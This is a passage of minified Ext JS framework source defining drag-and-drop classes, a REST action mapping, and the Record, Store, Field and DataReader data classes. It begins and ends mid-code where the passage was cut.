this.proxy.repair(this.getRepairXY(a, this.dragData), this.afterRepair, this); if (this.afterInvalidDrop) { this.afterInvalidDrop(a, c) } }, afterRepair:function () { if (Ext.enableFx) { this.el.highlight(this.hlColor || "c3daf9") } this.dragging = false }, beforeInvalidDrop:function (b, a, c) { return true }, handleMouseDown:function (b) { if (this.dragging) { return } var a = this.getDragData(b); if (a && this.onBeforeDrag(a, b) !== false) { this.dragData = a; this.proxy.stop(); Ext.dd.DragSource.superclass.handleMouseDown.apply(this, arguments) } }, onBeforeDrag:function (a, b) { return true }, onStartDrag:Ext.emptyFn, startDrag:function (a, b) { this.proxy.reset(); this.dragging = true; this.proxy.update(""); this.onInitDrag(a, b); this.proxy.show() }, onInitDrag:function (a, c) { var b = this.el.dom.cloneNode(true); b.id = Ext.id(); this.proxy.update(b); this.onStartDrag(a, c); return true }, getProxy:function () { return this.proxy }, hideProxy:function () { this.proxy.hide(); this.proxy.reset(true); this.dragging = false }, triggerCacheRefresh:function () { Ext.dd.DDM.refreshCache(this.groups) }, b4EndDrag:function (a) { }, endDrag:function (a) { this.onEndDrag(this.dragData, a) }, onEndDrag:function (a, b) { }, autoOffset:function (a, b) { this.setDelta(-12, -20) }, destroy:function () { Ext.dd.DragSource.superclass.destroy.call(this); Ext.destroy(this.proxy) }}); Ext.dd.DropTarget = Ext.extend(Ext.dd.DDTarget, {constructor:function (b, a) { this.el = Ext.get(b); Ext.apply(this, a); if (this.containerScroll) { Ext.dd.ScrollManager.register(this.el) } Ext.dd.DropTarget.superclass.constructor.call(this, this.el.dom, this.ddGroup || this.group, {isTarget:true}) }, dropAllowed:"x-dd-drop-ok", dropNotAllowed:"x-dd-drop-nodrop", isTarget:true, isNotifyTarget:true, notifyEnter:function (a, c, b) { if (this.overClass) { this.el.addClass(this.overClass) } return this.dropAllowed }, notifyOver:function (a, c, b) { return this.dropAllowed }, notifyOut:function (a, c, b) { if (this.overClass) { this.el.removeClass(this.overClass) } }, notifyDrop:function (a, c, b) { return false }, destroy:function () { Ext.dd.DropTarget.superclass.destroy.call(this); if (this.containerScroll) { Ext.dd.ScrollManager.unregister(this.el) } }}); Ext.dd.DragZone = Ext.extend(Ext.dd.DragSource, {constructor:function (b, a) { Ext.dd.DragZone.superclass.constructor.call(this, b, a); if (this.containerScroll) { Ext.dd.ScrollManager.register(this.el) } }, getDragData:function (a) { return Ext.dd.Registry.getHandleFromEvent(a) }, onInitDrag:function (a, b) { this.proxy.update(this.dragData.ddel.cloneNode(true)); this.onStartDrag(a, b); return true }, afterRepair:function () { if (Ext.enableFx) { Ext.Element.fly(this.dragData.ddel).highlight(this.hlColor || "c3daf9") } this.dragging = false }, getRepairXY:function (a) { return Ext.Element.fly(this.dragData.ddel).getXY() }, destroy:function () { Ext.dd.DragZone.superclass.destroy.call(this); if (this.containerScroll) { Ext.dd.ScrollManager.unregister(this.el) } }}); Ext.dd.DropZone = function (b, a) { Ext.dd.DropZone.superclass.constructor.call(this, b, a) }; Ext.extend(Ext.dd.DropZone, Ext.dd.DropTarget, {getTargetFromEvent:function (a) { return Ext.dd.Registry.getTargetFromEvent(a) }, onNodeEnter:function (d, a, c, b) { }, onNodeOver:function (d, a, c, b) { return this.dropAllowed }, onNodeOut:function (d, a, c, b) { }, onNodeDrop:function (d, a, c, b) { return false }, onContainerOver:function (a, c, b) { return this.dropNotAllowed }, onContainerDrop:function (a, c, b) { return false }, notifyEnter:function (a, c, b) { return this.dropNotAllowed }, notifyOver:function (a, c, b) { var d = this.getTargetFromEvent(c); if (!d) { if (this.lastOverNode) { this.onNodeOut(this.lastOverNode, a, c, b); this.lastOverNode = null } return this.onContainerOver(a, c, b) } if (this.lastOverNode != d) { if (this.lastOverNode) { this.onNodeOut(this.lastOverNode, a, c, b) } this.onNodeEnter(d, a, c, b); this.lastOverNode = d } return this.onNodeOver(d, a, c, b) }, notifyOut:function (a, c, b) { if (this.lastOverNode) { this.onNodeOut(this.lastOverNode, a, c, b); this.lastOverNode = null } }, notifyDrop:function (a, c, b) { if (this.lastOverNode) { this.onNodeOut(this.lastOverNode, a, c, b); this.lastOverNode = null } var d = this.getTargetFromEvent(c); return d ? this.onNodeDrop(d, a, c, b) : this.onContainerDrop(a, c, b) }, triggerCacheRefresh:function () { Ext.dd.DDM.refreshCache(this.groups) }}); Ext.Element.addMethods({initDD:function (c, b, d) { var a = new Ext.dd.DD(Ext.id(this.dom), c, b); return Ext.apply(a, d) }, initDDProxy:function (c, b, d) { var a = new Ext.dd.DDProxy(Ext.id(this.dom), c, b); return Ext.apply(a, d) }, initDDTarget:function (c, b, d) { var a = new Ext.dd.DDTarget(Ext.id(this.dom), c, b); return Ext.apply(a, d) }}); Ext.data.Api = (function () { var a = {}; return{actions:{create:"create", read:"read", update:"update", destroy:"destroy"}, restActions:{create:"POST", read:"GET", update:"PUT", destroy:"DELETE"}, isAction:function (b) { return(Ext.data.Api.actions[b]) ? true : false }, getVerb:function (b) { if (a[b]) { return a[b] } for (var c in this.actions) { if (this.actions[c] === b) { a[b] = c; break } } return(a[b] !== undefined) ? a[b] : null }, isValid:function (b) { var e = []; var d = this.actions; for (var c in b) { if (!(c in d)) { e.push(c) } } return(!e.length) ? true : e }, hasUniqueUrl:function (c, g) { var b = (c.api[g]) ? c.api[g].url : null; var e = true; for (var d in c.api) { if ((e = (d === g) ? true : (c.api[d].url != b) ? true : false) === false) { break } } return e }, prepare:function (b) { if (!b.api) { b.api = {} } for (var d in this.actions) { var c = this.actions[d]; b.api[c] = b.api[c] || b.url || b.directFn; if (typeof(b.api[c]) == "string") { b.api[c] = {url:b.api[c], method:(b.restful === true) ? Ext.data.Api.restActions[c] : undefined} } } }, restify:function (b) { b.restful = true; for (var c in this.restActions) { b.api[this.actions[c]].method || (b.api[this.actions[c]].method = this.restActions[c]) } b.onWrite = b.onWrite.createInterceptor(function (i, j, g, e) { var d = j.reader; var h = new Ext.data.Response({action:i, raw:g}); switch (g.status) { case 200: return true; break; case 201: if (Ext.isEmpty(h.raw.responseText)) { h.success = true } else { return true } break; case 204: h.success = true; h.data = null; break; default: return true; break } if (h.success === true) { this.fireEvent("write", this, i, h.data, h, e, j.request.arg) } else { this.fireEvent("exception", this, "remote", i, j, h, e) } j.request.callback.call(j.request.scope, h.data, h, h.success); return false }, b) }} })(); Ext.data.Response = function (b, a) { Ext.apply(this, b, {raw:a}) }; Ext.data.Response.prototype = {message:null, success:false, status:null, root:null, raw:null, getMessage:function () { return this.message }, getSuccess:function () { return this.success }, getStatus:function () { return this.status }, getRoot:function () { return this.root }, getRawResponse:function () { return this.raw }}; Ext.data.Api.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { this.arg = a; Ext.Error.call(this, b) }, name:"Ext.data.Api"}); Ext.apply(Ext.data.Api.Error.prototype, {lang:{"action-url-undefined":"No fallback url defined for this action. When defining a DataProxy api, please be sure to define an url for each CRUD action in Ext.data.Api.actions or define a default url in addition to your api-configuration.", invalid:"received an invalid API-configuration. Please ensure your proxy API-configuration contains only the actions defined in Ext.data.Api.actions", "invalid-url":"Invalid url. Please review your proxy configuration.", execute:'Attempted to execute an unknown action. Valid API actions are defined in Ext.data.Api.actions"'}}); Ext.data.SortTypes = {none:function (a) { return a }, stripTagsRE:/<\/?[^>]+>/gi, asText:function (a) { return String(a).replace(this.stripTagsRE, "") }, asUCText:function (a) { return String(a).toUpperCase().replace(this.stripTagsRE, "") }, asUCString:function (a) { return String(a).toUpperCase() }, asDate:function (a) { if (!a) { return 0 } if (Ext.isDate(a)) { return a.getTime() } return Date.parse(String(a)) }, asFloat:function (a) { var b = parseFloat(String(a).replace(/,/g, "")); return isNaN(b) ? 0 : b }, asInt:function (a) { var b = parseInt(String(a).replace(/,/g, ""), 10); return isNaN(b) ? 0 : b }}; Ext.data.Record = function (a, b) { this.id = (b || b === 0) ? b : Ext.data.Record.id(this); this.data = a || {} }; Ext.data.Record.create = function (e) { var c = Ext.extend(Ext.data.Record, {}); var d = c.prototype; d.fields = new Ext.util.MixedCollection(false, function (g) { return g.name }); for (var b = 0, a = e.length; b < a; b++) { d.fields.add(new Ext.data.Field(e[b])) } c.getField = function (g) { return d.fields.get(g) }; return c }; Ext.data.Record.PREFIX = "ext-record"; Ext.data.Record.AUTO_ID = 1; Ext.data.Record.EDIT = "edit"; Ext.data.Record.REJECT = "reject"; Ext.data.Record.COMMIT = "commit"; Ext.data.Record.id = function (a) { a.phantom = true; return[Ext.data.Record.PREFIX, "-", Ext.data.Record.AUTO_ID++].join("") }; Ext.data.Record.prototype = {dirty:false, editing:false, error:null, modified:null, phantom:false, join:function (a) { this.store = a }, set:function (a, c) { var b = Ext.isPrimitive(c) ? String : Ext.encode; if (b(this.data[a]) == b(c)) { return } this.dirty = true; if (!this.modified) { this.modified = {} } if (this.modified[a] === undefined) { this.modified[a] = this.data[a] } this.data[a] = c; if (!this.editing) { this.afterEdit() } }, afterEdit:function () { if (this.store != undefined && typeof this.store.afterEdit == "function") { this.store.afterEdit(this) } }, afterReject:function () { if (this.store) { this.store.afterReject(this) } }, afterCommit:function () { if (this.store) { this.store.afterCommit(this) } }, get:function (a) { return this.data[a] }, beginEdit:function () { this.editing = true; this.modified = this.modified || {} }, cancelEdit:function () { this.editing = false; delete this.modified }, endEdit:function () { this.editing = false; if (this.dirty) { this.afterEdit() } }, reject:function (b) { var a = this.modified; for (var c in a) { if (typeof a[c] != "function") { this.data[c] = a[c] } } this.dirty = false; delete this.modified; this.editing = false; if (b !== true) { this.afterReject() } }, commit:function (a) { this.dirty = false; delete this.modified; this.editing = false; if (a !== true) { this.afterCommit() } }, getChanges:function () { var a = this.modified, b = {}; for (var c in a) { if (a.hasOwnProperty(c)) { b[c] = this.data[c] } } return b }, hasError:function () { return this.error !== null }, clearError:function () { this.error = null }, copy:function (a) { return new this.constructor(Ext.apply({}, this.data), a || this.id) }, isModified:function (a) { return !!(this.modified && this.modified.hasOwnProperty(a)) }, isValid:function () { return this.fields.find(function (a) { return(a.allowBlank === false && Ext.isEmpty(this.data[a.name])) ? true : false }, this) ? false : true }, markDirty:function () { this.dirty = true; if (!this.modified) { this.modified = {} } this.fields.each(function (a) { this.modified[a.name] = this.data[a.name] }, this) }}; Ext.StoreMgr = Ext.apply(new Ext.util.MixedCollection(), {register:function () { for (var a = 0, b; (b = arguments[a]); a++) { this.add(b) } }, unregister:function () { for (var a = 0, b; (b = arguments[a]); a++) { this.remove(this.lookup(b)) } }, lookup:function (e) { if (Ext.isArray(e)) { var b = ["field1"], d = !Ext.isArray(e[0]); if (!d) { for (var c = 2, a = e[0].length; c <= a; ++c) { b.push("field" + c) } } return new Ext.data.ArrayStore({fields:b, data:e, expandData:d, autoDestroy:true, autoCreated:true}) } return Ext.isObject(e) ? (e.events ? e : Ext.create(e, "store")) : this.get(e) }, getKey:function (a) { return a.storeId }}); Ext.data.Store = Ext.extend(Ext.util.Observable, {writer:undefined, remoteSort:false, autoDestroy:false, pruneModifiedRecords:false, lastOptions:null, autoSave:true, batch:true, restful:false, paramNames:undefined, defaultParamNames:{start:"start", limit:"limit", sort:"sort", dir:"dir"}, isDestroyed:false, hasMultiSort:false, batchKey:"_ext_batch_", constructor:function (a) { this.data = new Ext.util.MixedCollection(false); this.data.getKey = function (b) { return b.id }; this.removed = []; if (a && a.data) { this.inlineData = a.data; delete a.data } Ext.apply(this, a); this.baseParams = Ext.isObject(this.baseParams) ? this.baseParams : {}; this.paramNames = Ext.applyIf(this.paramNames || {}, this.defaultParamNames); if ((this.url || this.api) && !this.proxy) { this.proxy = new Ext.data.HttpProxy({url:this.url, api:this.api}) } if (this.restful === true && this.proxy) { this.batch = false; Ext.data.Api.restify(this.proxy) } if (this.reader) { if (!this.recordType) { this.recordType = this.reader.recordType } if (this.reader.onMetaChange) { this.reader.onMetaChange = this.reader.onMetaChange.createSequence(this.onMetaChange, this) } if (this.writer) { if (this.writer instanceof (Ext.data.DataWriter) === false) { this.writer = this.buildWriter(this.writer) } this.writer.meta = this.reader.meta; this.pruneModifiedRecords = true } } if (this.recordType) { this.fields = this.recordType.prototype.fields } this.modified = []; this.addEvents("datachanged", "metachange", "add", "remove", "update", "clear", "exception", "beforeload", "load", "loadexception", "beforewrite", "write", "beforesave", "save"); if (this.proxy) { this.relayEvents(this.proxy, ["loadexception", "exception"]) } if (this.writer) { this.on({scope:this, add:this.createRecords, remove:this.destroyRecord, update:this.updateRecord, clear:this.onClear}) } this.sortToggle = {}; if (this.sortField) { this.setDefaultSort(this.sortField, this.sortDir) } else { if (this.sortInfo) { this.setDefaultSort(this.sortInfo.field, this.sortInfo.direction) } } Ext.data.Store.superclass.constructor.call(this); if (this.id) { this.storeId = this.id; delete this.id } if (this.storeId) { Ext.StoreMgr.register(this) } if (this.inlineData) { this.loadData(this.inlineData); delete this.inlineData } else { if (this.autoLoad) { this.load.defer(10, this, [typeof this.autoLoad == "object" ? this.autoLoad : undefined]) } } this.batchCounter = 0; this.batches = {} }, buildWriter:function (b) { var a = undefined, c = (b.format || "json").toLowerCase(); switch (c) { case"json": a = Ext.data.JsonWriter; break; case"xml": a = Ext.data.XmlWriter; break; default: a = Ext.data.JsonWriter } return new a(b) }, destroy:function () { if (!this.isDestroyed) { if (this.storeId) { Ext.StoreMgr.unregister(this) } this.clearData(); this.data = null; Ext.destroy(this.proxy); this.reader = this.writer = null; this.purgeListeners(); this.isDestroyed = true } }, add:function (c) { var e, a, b, d; c = [].concat(c); if (c.length < 1) { return } for (e = 0, a = c.length; e < a; e++) { b = c[e]; b.join(this); if (b.dirty || b.phantom) { this.modified.push(b) } } d = this.data.length; this.data.addAll(c); if (this.snapshot) { this.snapshot.addAll(c) } this.fireEvent("add", this, c, d) }, addSorted:function (a) { var b = this.findInsertIndex(a); this.insert(b, a) }, doUpdate:function (a) { var b = a.id; this.getById(b).join(null); this.data.replace(b, a); if (this.snapshot) { this.snapshot.replace(b, a) } a.join(this); this.fireEvent("update", this, a, Ext.data.Record.COMMIT) }, remove:function (a) { if (Ext.isArray(a)) { Ext.each(a, function (c) { this.remove(c) }, this); return } var b = this.data.indexOf(a); if (b > -1) { a.join(null); this.data.removeAt(b) } if (this.pruneModifiedRecords) { this.modified.remove(a) } if (this.snapshot) { this.snapshot.remove(a) } if (b > -1) { this.fireEvent("remove", this, a, b) } }, removeAt:function (a) { this.remove(this.getAt(a)) }, removeAll:function (b) { var a = []; this.each(function (c) { a.push(c) }); this.clearData(); if (this.snapshot) { this.snapshot.clear() } if (this.pruneModifiedRecords) { this.modified = [] } if (b !== true) { this.fireEvent("clear", this, a) } }, onClear:function (b, a) { Ext.each(a, function (d, c) { this.destroyRecord(this, d, c) }, this) }, insert:function (d, c) { var e, a, b; c = [].concat(c); for (e = 0, a = c.length; e < a; e++) { b = c[e]; this.data.insert(d + e, b); b.join(this); if (b.dirty || b.phantom) { this.modified.push(b) } } if (this.snapshot) { this.snapshot.addAll(c) } this.fireEvent("add", this, c, d) }, indexOf:function (a) { return this.data.indexOf(a) }, indexOfId:function (a) { return this.data.indexOfKey(a) }, getById:function (a) { return(this.snapshot || this.data).key(a) }, getAt:function (a) { return this.data.itemAt(a) }, getRange:function (b, a) { return this.data.getRange(b, a) }, storeOptions:function (a) { a = Ext.apply({}, a); delete a.callback; delete a.scope; this.lastOptions = a }, clearData:function () { this.data.each(function (a) { a.join(null) }); this.data.clear() }, load:function (b) { b = Ext.apply({}, b); this.storeOptions(b); if (this.sortInfo && this.remoteSort) { var a = this.paramNames; b.params = Ext.apply({}, b.params); b.params[a.sort] = this.sortInfo.field; b.params[a.dir] = this.sortInfo.direction } try { return this.execute("read", null, b) } catch (c) { this.handleException(c); return false } }, updateRecord:function (b, a, c) { if (c == Ext.data.Record.EDIT && this.autoSave === true && (!a.phantom || (a.phantom && a.isValid()))) { this.save() } }, createRecords:function (c, b, e) { var d = this.modified, h = b.length, a, g; for (g = 0; g < h; g++) { a = b[g]; if (a.phantom && a.isValid()) { a.markDirty(); if (d.indexOf(a) == -1) { d.push(a) } } } if (this.autoSave === true) { this.save() } }, destroyRecord:function (b, a, c) { if (this.modified.indexOf(a) != -1) { this.modified.remove(a) } if (!a.phantom) { this.removed.push(a); a.lastIndex = c; if (this.autoSave === true) { this.save() } } }, execute:function (e, a, c, b) { if (!Ext.data.Api.isAction(e)) { throw new Ext.data.Api.Error("execute", e) } c = Ext.applyIf(c || {}, {params:{}}); if (b !== undefined) { this.addToBatch(b) } var d = true; if (e === "read") { d = this.fireEvent("beforeload", this, c); Ext.applyIf(c.params, this.baseParams) } else { if (this.writer.listful === true && this.restful !== true) { a = (Ext.isArray(a)) ? a : [a] } else { if (Ext.isArray(a) && a.length == 1) { a = a.shift() } } if ((d = this.fireEvent("beforewrite", this, e, a, c)) !== false) { this.writer.apply(c.params, this.baseParams, e, a) } } if (d !== false) { if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, e)) { c.params.xaction = e } this.proxy.request(Ext.data.Api.actions[e], a, c.params, this.reader, this.createCallback(e, a, b), this, c) } return d }, save:function () { if (!this.writer) { throw new Ext.data.Store.Error("writer-undefined") } var h = [], j, k, e, c = {}, d; if (this.removed.length) { h.push(["destroy", this.removed]) } var b = [].concat(this.getModifiedRecords()); if (b.length) { var g = []; for (d = b.length - 1; d >= 0; d--) { if (b[d].phantom === true) { var a = b.splice(d, 1).shift(); if (a.isValid()) { g.push(a) } } else { if (!b[d].isValid()) { b.splice(d, 1) } } } if (g.length) { h.push(["create", g]) } if (b.length) { h.push(["update", b]) } } j = h.length; if (j) { e = ++this.batchCounter; for (d = 0; d < j; ++d) { k = h[d]; c[k[0]] = k[1] } if (this.fireEvent("beforesave", this, c) !== false) { for (d = 0; d < j; ++d) { k = h[d]; this.doTransaction(k[0], k[1], e) } return e } } return -1 }, doTransaction:function (e, b, c) { function g(h) { try { this.execute(e, h, undefined, c) } catch (i) { this.handleException(i) } } if (this.batch === false) { for (var d = 0, a = b.length; d < a; d++) { g.call(this, b[d]) } } else { g.call(this, b) } }, addToBatch:function (c) { var a = this.batches, d = this.batchKey + c, e = a[d]; if (!e) { a[d] = e = {id:c, count:0, data:{}} } ++e.count }, removeFromBatch:function (d, h, g) { var c = this.batches, e = this.batchKey + d, i = c[e], a; if (i) { a = i.data[h] || []; i.data[h] = a.concat(g); if (i.count === 1) { g = i.data; delete c[e]; this.fireEvent("save", this, d, g) } else { --i.count } } }, createCallback:function (c, a, b) { var d = Ext.data.Api.actions; return(c == "read") ? this.loadRecords : function (g, e, h) { this["on" + Ext.util.Format.capitalize(c) + "Records"](h, a, [].concat(g)); if (h === true) { this.fireEvent("write", this, c, g, e, a) } this.removeFromBatch(b, c, g) } }, clearModified:function (a) { if (Ext.isArray(a)) { for (var b = a.length - 1; b >= 0; b--) { this.modified.splice(this.modified.indexOf(a[b]), 1) } } else { this.modified.splice(this.modified.indexOf(a), 1) } }, reMap:function (b) { if (Ext.isArray(b)) { for (var d = 0, a = b.length; d < a; d++) { this.reMap(b[d]) } } else { delete this.data.map[b._phid]; this.data.map[b.id] = b; var c = this.data.keys.indexOf(b._phid); this.data.keys.splice(c, 1, b.id); delete b._phid } }, onCreateRecords:function (d, a, b) { if (d === true) { try { this.reader.realize(a, b) } catch (c) { this.handleException(c); if (Ext.isArray(a)) { this.onCreateRecords(d, a, b) } } } }, onUpdateRecords:function (d, a, b) { if (d === true) { try { this.reader.update(a, b) } catch (c) { this.handleException(c); if (Ext.isArray(a)) { this.onUpdateRecords(d, a, b) } } } }, onDestroyRecords:function (e, b, d) { b = (b instanceof Ext.data.Record) ? [b] : [].concat(b); for (var c = 0, a = b.length; c < a; c++) { this.removed.splice(this.removed.indexOf(b[c]), 1) } if (e === false) { for (c = b.length - 1; c >= 0; c--) { this.insert(b[c].lastIndex, b[c]) } } }, handleException:function (a) { Ext.handleError(a) }, reload:function (a) { this.load(Ext.applyIf(a || {}, this.lastOptions)) }, loadRecords:function (b, l, h) { var e, g; if (this.isDestroyed === true) { return } if (!b || h === false) { if (h !== false) { this.fireEvent("load", this, [], l) } if (l.callback) { l.callback.call(l.scope || this, [], l, false, b) } return } var a = b.records, j = b.totalRecords || a.length; if (!l || l.add !== true) { if (this.pruneModifiedRecords) { this.modified = [] } for (e = 0, g = a.length; e < g; e++) { a[e].join(this) } if (this.snapshot) { this.data = this.snapshot; delete this.snapshot } this.clearData(); this.data.addAll(a); this.totalLength = j; this.applySort(); this.fireEvent("datachanged", this) } else { var k = [], d, c = 0; for (e = 0, g = a.length; e < g; ++e) { d = a[e]; if (this.indexOfId(d.id) > -1) { this.doUpdate(d) } else { k.push(d); ++c } } this.totalLength = Math.max(j, this.data.length + c); this.add(k) } this.fireEvent("load", this, a, l); if (l.callback) { l.callback.call(l.scope || this, a, l, true) } }, loadData:function (c, a) { var b = this.reader.readRecords(c); this.loadRecords(b, {add:a}, true) }, getCount:function () { return this.data.length || 0 }, getTotalCount:function () { return this.totalLength || 0 }, getSortState:function () { return this.sortInfo }, applySort:function () { if ((this.sortInfo || this.multiSortInfo) && !this.remoteSort) { this.sortData() } }, sortData:function () { var a = this.hasMultiSort ? this.multiSortInfo : this.sortInfo, k = a.direction || "ASC", h = a.sorters, c = []; if (!this.hasMultiSort) { h = [ {direction:k, field:a.field} ] } for (var d = 0, b = h.length; d < b; d++) { c.push(this.createSortFunction(h[d].field, h[d].direction)) } if (c.length == 0) { return } var g = k.toUpperCase() == "DESC" ? -1 : 1; var e = function (n, m) { var l = c[0].call(this, n, m); if (c.length > 1) { for (var p = 1, o = c.length; p < o; p++) { l = l || c[p].call(this, n, m) } } return g * l }; this.data.sort(k, e); if (this.snapshot && this.snapshot != this.data) { this.snapshot.sort(k, e) } }, createSortFunction:function (c, b) { b = b || "ASC"; var a = b.toUpperCase() == "DESC" ? -1 : 1; var d = this.fields.get(c).sortType; return function (g, e) { var i = d(g.data[c]), h = d(e.data[c]); return a * (i > h ? 1 : (i < h ? -1 : 0)) } }, setDefaultSort:function (b, a) { a = a ? a.toUpperCase() : "ASC"; this.sortInfo = {field:b, direction:a}; this.sortToggle[b] = a }, sort:function (b, a) { if (Ext.isArray(arguments[0])) { return this.multiSort.call(this, b, a) } else { return this.singleSort(b, a) } }, singleSort:function (g, c) { var e = this.fields.get(g); if (!e) { return false } var b = e.name, a = this.sortInfo || null, d = this.sortToggle ? this.sortToggle[b] : null; if (!c) { if (a && a.field == b) { c = (this.sortToggle[b] || "ASC").toggle("ASC", "DESC") } else { c = e.sortDir } } this.sortToggle[b] = c; this.sortInfo = {field:b, direction:c}; this.hasMultiSort = false; if (this.remoteSort) { if (!this.load(this.lastOptions)) { if (d) { this.sortToggle[b] = d } if (a) { this.sortInfo = a } } } else { this.applySort(); this.fireEvent("datachanged", this) } return true }, multiSort:function (b, a) { this.hasMultiSort = true; a = a || "ASC"; if (this.multiSortInfo && a == this.multiSortInfo.direction) { a = a.toggle("ASC", "DESC") } this.multiSortInfo = {sorters:b, direction:a}; if (this.remoteSort) { this.singleSort(b[0].field, b[0].direction) } else { this.applySort(); this.fireEvent("datachanged", this) } }, each:function (b, a) { this.data.each(b, a) }, getModifiedRecords:function () { return this.modified }, sum:function (e, g, a) { var c = this.data.items, b = 0; g = g || 0; a = (a || a === 0) ? a : c.length - 1; for (var d = g; d <= a; d++) { b += (c[d].data[e] || 0) } return b }, createFilterFn:function (d, c, e, a, b) { if (Ext.isEmpty(c, false)) { return false } c = this.data.createValueMatcher(c, e, a, b); return function (g) { return c.test(g.data[d]) } }, createMultipleFilterFn:function (a) { return function (b) { var k = true; for (var d = 0, c = a.length; d < c; d++) { var h = a[d], g = h.fn, e = h.scope; k = k && g.call(e, b) } return k } }, filter:function (n, m, h, k, e) { var l; if (Ext.isObject(n)) { n = [n] } if (Ext.isArray(n)) { var b = []; for (var g = 0, d = n.length; g < d; g++) { var a = n[g], c = a.fn, o = a.scope || this; if (!Ext.isFunction(c)) { c = this.createFilterFn(a.property, a.value, a.anyMatch, a.caseSensitive, a.exactMatch) } b.push({fn:c, scope:o}) } l = this.createMultipleFilterFn(b) } else { l = this.createFilterFn(n, m, h, k, e) } return l ? this.filterBy(l) : this.clearFilter() }, filterBy:function (b, a) { this.snapshot = this.snapshot || this.data; this.data = this.queryBy(b, a || this); this.fireEvent("datachanged", this) }, clearFilter:function (a) { if (this.isFiltered()) { this.data = this.snapshot; delete this.snapshot; if (a !== true) { this.fireEvent("datachanged", this) } } }, isFiltered:function () { return !!this.snapshot && this.snapshot != this.data }, query:function (d, c, e, a) { var b = this.createFilterFn(d, c, e, a); return b ? this.queryBy(b) : this.data.clone() }, queryBy:function (b, a) { var c = this.snapshot || this.data; return c.filterBy(b, a || this) }, find:function (d, c, g, e, a) { var b = this.createFilterFn(d, c, e, a); return b ? this.data.findIndexBy(b, null, g) : -1 }, findExact:function (b, a, c) { return this.data.findIndexBy(function (d) { return d.get(b) === a }, this, c) }, findBy:function (b, a, c) { return this.data.findIndexBy(b, a, c) }, collect:function (j, k, b) { var h = (b === true && this.snapshot) ? this.snapshot.items : this.data.items; var m, n, a = [], c = {}; for (var e = 0, g = h.length; e < g; e++) { m = h[e].data[j]; n = String(m); if ((k || !Ext.isEmpty(m)) && !c[n]) { c[n] = true; a[a.length] = m } } return a }, afterEdit:function (a) { if (this.modified.indexOf(a) == -1) { this.modified.push(a) } this.fireEvent("update", this, a, Ext.data.Record.EDIT) }, afterReject:function (a) { this.modified.remove(a); this.fireEvent("update", this, a, Ext.data.Record.REJECT) }, afterCommit:function (a) { this.modified.remove(a); this.fireEvent("update", this, a, Ext.data.Record.COMMIT) }, commitChanges:function () { var a = this.modified.slice(0), c = a.length, b; for (b = 0; b < c; b++) { a[b].commit() } this.modified = []; this.removed = [] }, rejectChanges:function () { var a = this.modified.slice(0), e = this.removed.slice(0).reverse(), c = a.length, d = e.length, b; for (b = 0; b < c; b++) { a[b].reject() } for (b = 0; b < d; b++) { this.insert(e[b].lastIndex || 0, e[b]); e[b].reject() } this.modified = []; this.removed = [] }, onMetaChange:function (a) { this.recordType = this.reader.recordType; this.fields = this.recordType.prototype.fields; delete this.snapshot; if (this.reader.meta.sortInfo) { this.sortInfo = this.reader.meta.sortInfo } else { if (this.sortInfo && !this.fields.get(this.sortInfo.field)) { delete this.sortInfo } } if (this.writer) { this.writer.meta = this.reader.meta } this.modified = []; this.fireEvent("metachange", this, this.reader.meta) }, findInsertIndex:function (a) { this.suspendEvents(); var c = this.data.clone(); this.data.add(a); this.applySort(); var b = this.data.indexOf(a); this.data = c; this.resumeEvents(); return b }, setBaseParam:function (a, b) { this.baseParams = this.baseParams || {}; this.baseParams[a] = b }}); Ext.reg("store", Ext.data.Store); Ext.data.Store.Error = Ext.extend(Ext.Error, {name:"Ext.data.Store"}); Ext.apply(Ext.data.Store.Error.prototype, {lang:{"writer-undefined":"Attempted to execute a write-action without a DataWriter installed."}}); Ext.data.Field = Ext.extend(Object, {constructor:function (b) { if (Ext.isString(b)) { b = {name:b} } Ext.apply(this, b); var d = Ext.data.Types, a = this.sortType, c; if (this.type) { if (Ext.isString(this.type)) { this.type = Ext.data.Types[this.type.toUpperCase()] || d.AUTO } } else { this.type = d.AUTO } if (Ext.isString(a)) { this.sortType = Ext.data.SortTypes[a] } else { if (Ext.isEmpty(a)) { this.sortType = this.type.sortType } } if (!this.convert) { this.convert = this.type.convert } }, dateFormat:null, useNull:false, defaultValue:"", mapping:null, sortType:null, sortDir:"ASC", allowBlank:true}); Ext.data.DataReader = function (a, b) { this.meta = a; this.recordType = Ext.isArray(b) ? Ext.data.Record.create(b) : b; if (this.recordType) { this.buildExtractors() } }; Ext.data.DataReader.prototype = {getTotal:Ext.emptyFn, getRoot:Ext.emptyFn, getMessage:Ext.emptyFn, getSuccess:Ext.emptyFn, getId:Ext.emptyFn, buildExtractors:Ext.emptyFn, extractValues:Ext.emptyFn, realize:function (a, c) { if (Ext.isArray(a)) { for (var b = a.length - 1; b >= 0; b--) { if (Ext.isArray(c)) { this.realize(a.splice(b, 1).shift(), c.splice(b, 1).shift()) } else { this.realize(a.splice(b, 1).shift(), c) } } } else { if (Ext.isArray(c) && c.length == 1) { c = c.shift() } if (!this.isData(c)) { throw new Ext.data.DataReader.Error("realize", a) } a.phantom = false; a._phid = a.id; a.id = this.getId(c); a.data = c; a.commit(); a.store.reMap(a) } }, update:function (a, c) { if (Ext.isArray(a)) { for (var b = a.length - 1; b >= 0; b--) { if (Ext.isArray(c)) { this.update(a.splice(b, 1).shift(), c.splice(b, 1).shift()) } else { this.update(a.splice(b, 1).shift(), c) } } } else { if (Ext.isArray(c) && c.length == 1) { c = c.shift() } if (this.isData(c)) { a.data = Ext.apply(a.data, c) } a.commit() } }, extractData:function (k, a) { var j = (this instanceof Ext.data.JsonReader) ? "json" : "node"; var c = []; if (this.isData(k) && !(this instanceof Ext.data.XmlReader)) { k = [k] } var h = this.recordType.prototype.fields, o = h.items, m = h.length, c = []; if (a === true) { var l = this.recordType; for (var e = 0; e < k.length; e++) { var b = k[e]; var g = new l(this.extractValues(b, o, m), this.getId(b)); g[j] = b; c.push(g) } } else { for (var e = 0; e < k.length; e++) { var d = this.extractValues(k[e], o, m); d[this.meta.idProperty] = this.getId(k[e]); c.push(d) } } return c }, isData:function (a) { return(a && Ext.isObject(a) && !Ext.isEmpty(this.getId(a))) ? true : false }, onMetaChange:function (a) { delete this.ef; this.meta = a; this.recordType = Ext.data.Record.create(a.fields); this.buildExtractors() }}; Ext.data.DataReader.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { this.arg = a; Ext.Error.call(this, b) }, name:"Ext.data.DataReader"}); Ext.apply(Ext.data.DataReader.Error.prototype, {lang:{update:"#update 